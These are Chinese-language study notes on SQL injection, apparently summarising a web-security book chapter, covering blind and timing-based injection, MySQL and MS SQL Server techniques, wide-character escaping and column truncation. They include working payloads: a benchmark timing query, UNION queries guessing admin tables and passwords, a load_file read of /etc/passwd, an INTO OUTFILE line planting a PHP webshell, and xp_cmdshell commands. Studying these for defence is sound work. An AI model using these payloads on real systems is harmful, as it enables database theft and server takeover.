7.1 sql注入

sql注入98年第一次出现在《phrack》54期上。

注入***有两个关键条件,第一是用户能够控制输入,第二是原本程序要执行的代码拼接了用户输入的数据。

如果网站开启了错误回显,将为***者提供极大的便利。

7.1.1 盲注

“盲注”是在服务器没有错误回显时完成的***。

最常见的盲注方法是构造简单的条件语句,根据返回页面是否发生变化,来判断sql语句是否得到执行。

例如对比“id=2”、“id=2 and 1=2”及“id=2 and 1=1”的执行结果

7.1.2 timing attack

2011年由TimKode在Full Disclosure上公布。

MySQL中的benchmark函数用于测试函数性能:

benchmark(count,expr)

将expr执行count次。利用benchmark函数可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道***。

例如:

1170 union select if(substring(current,1,1)=
char(119),benchmark(5000000,encode('msg','by 5 seconds')),null) from (
select database() as current) as tbl;

这段payload判断库名的第一个字母是否为char(119),即小写到w。如果判断为真,则会执行benchmark函数,造成较长延时;如果不为真,则该语句将很快执行完。***者遍历所有字母,直到将整个数据库全部验证完为止。其他有用函数:database(),system_user(),current_user(),last_insert_id()

如果当前数据库用户具有写权限,那么***者还可以将信息写入本地磁盘中,比如写入web目录中,***者就有可能下载这些文件:

1170 union all select table_name, table_type, engion from
information_schema.tables where table_schema = 'mysql' order by
table_name desc into outfile '/path/loc/on/server/www/schema.txt'

通过dump文件的方法,可以写入一个webshell

1170 union select "<? system($_request['cmd']);?>",2,3,4 into outfile
"/var/www/html/temp/c.php"--

timing attack是盲注多一种高级技巧,在不同的数据库中都有着类似benchmark的函数:

postgresql-pg_sleep(5) or generate_series(1,10000000)

ms sql server -waitfor delay '0:0:5'

7.2  数据库***技巧

找到sql注入漏洞,仅仅是一个开始。不同的数据库有着不同的sql注入技巧。

7.2.1 常见***技巧

猜mysql版本是否为4

id=5 and substring(@@version,1,1)=4

猜表admin是否存在

id=5 union select 1,2,3 from admin

猜列名passwd是否存在

id=5 union select 1,2,passwd from admin

进一步,可以通过判断字符的范围猜username、passwd具体的值(代码较长)。

***过程非常繁琐,可以使用sqlmap来帮助完成整个过程。

读写文件的技巧(以mysql为例):

union selcet 1,1,load_file('/etc/passwd'),1,1;

如果要将文件读出后再返回结果给***者,则需要有创建表的权限,首先通过load_file()将文件读出;再通过into dumpfile将文件写入系统,然后通过load data infile将文件导入创建的表中,最后通过一般的注入技巧直接操作表数据。

7.2.2 命令执行

除了通过webshell间接执行命令,还可以利用用户自定义函数来执行命令。mysql 5 中是利用lib_mysqludf_sys;在ms sql server中是利用xp_cmdshell;oracle中是利用java环境。幸运的是sqlmap已集成了这部分功能。

7.2.3 ***存储过程

在ms sql server中,存储过程“xp_cmdshell”可谓臭名昭著,***可以利用它执行系统命令。

exec master.dbo.xp_cmdshell 'cmd.exe dir c:'
exec master.dbo.xp_cmdshell 'ping '

虽然在sql server 2005之后默认禁止了,但是如果当前数据库用户拥有sysadmin权限,则可以使用sp_configure重新开启它。除此以外,xp_regread等可以操作注册表。xp_servicecontrol等可以操作服务。

除了利用存储过程直接***外,存储过程本身也可能存在注入漏洞。

7.2.4 编码问题

书中举了一个利用宽字符集(每个字符占2个字节)“吃掉”转义符号“\”的例子,可绕过对特殊字符的过滤。

7.2.5 sql column truncation

这是利用mysql的sql_mode选项,默认情况下,mysql对于用户输入的超长值只会提示warning而不是error。例如数据中原来有账号“admin”,这时插入新账号“admin(55个空格)x”,通过新账号即可进行原账号才能做的操作。